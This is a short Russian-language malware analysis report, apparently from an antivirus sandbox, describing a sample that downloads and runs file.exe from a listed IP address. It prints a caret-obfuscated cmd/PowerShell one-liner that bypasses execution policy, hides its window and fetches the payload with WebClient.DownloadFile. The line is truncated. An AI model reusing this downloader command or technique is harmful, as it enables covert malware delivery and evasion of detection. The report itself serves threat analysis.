Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://86.106.131.141/file.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^oWeR^sHE^LL.exE^ ^-e^x^e^C^uTIO^nPOL^Ic^Y^ by^P^a^ss ^-Nop^rOf^i^le -W^IN^DOw^S^tyLE^ hI^Dde^N (Ne^W-ob^jEcT^ sy^S^T^Em^.nEt.WEbC^LIEnt).DoWNlOaD^f^IL^e^('http://86.106.131...
Сетевая активность
Подключается к
- '86.##6.131.141':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^oWeR^sHE^LL.exE^ ^-e^x^e^C^uTIO^nPOL^Ic^Y^ by^P^a^ss ^-Nop^rOf^i^le -W^IN^DOw^S^tyLE^ hI^Dde^N (Ne^W-ob^jEcT^ sy^S^T^Em^.nEt.WEbC^LIEnt).DoWNlOaD^f^IL^e^('http://86.106.131...' (со скрытым окном)
